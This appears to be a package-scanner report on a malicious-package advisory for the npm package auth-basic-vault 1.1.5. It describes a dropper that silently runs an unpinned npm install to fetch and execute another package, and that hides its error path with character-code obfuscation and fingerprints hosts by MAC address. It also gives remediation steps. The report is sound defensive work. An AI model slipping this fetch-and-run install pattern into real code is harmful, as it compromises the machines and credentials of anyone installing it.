auth-basic-vault
This report shows the evidence for auth-basic-vault@1.1.5, the only known version.
OpenSSF/OSV Malicious Advisory
imported 4mo ago · by OpenSSF/OSVOpenSSF/OSV advisory MAL-2026-4488 confirms this npm version as malicious.
Advisory
MAL-2026-4488
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in auth-basic-vault (npm)
Details
On require('auth-basic-vault'), lib/writer.js attempts to require('authcascade') at module top level and, on failure, shells out via execSync to `npm install authcascade --no-warnings --no-save --no-progress --loglevel silent` and then requires '../../authcascade/pino.js'. The fetched package is unpinned (no version constraint), not declared in package.json dependencies, and executed automatically without consent. The same file builds an error string via a long String.fromCharCode chain to mask the failure path from static analysis, and defines a getMacAddress() helper that enumerates os.networkInterfaces() to collect external IPv4 MAC addresses — host fingerprinting scaffolding for the dynamically loaded payload. Package identity is inconsistent: package.json declares 'auth-basic-vault' with a Basic Authentication description and pino-style keywords, while README presents the package as 'fabric-grachics' with unrelated example code; the codebase is pino-derived. The package exists to host the dropper, not to provide its advertised functionality.
References
Source & flagged code
0 flagged · loading sourceNo flagged code excerpts are attached to this scan.
Findings
1 High
HighOsv Malicious Advisory
Affected versions and remediation
This report applies to auth-basic-vault@1.1.5.
The versions list below shows the verdict for each recorded version.
- Avoid installing auth-basic-vault@1.1.5. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
This report uses published external intelligence. The advisory does not provide a separate source-code analysis for each listed version.
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.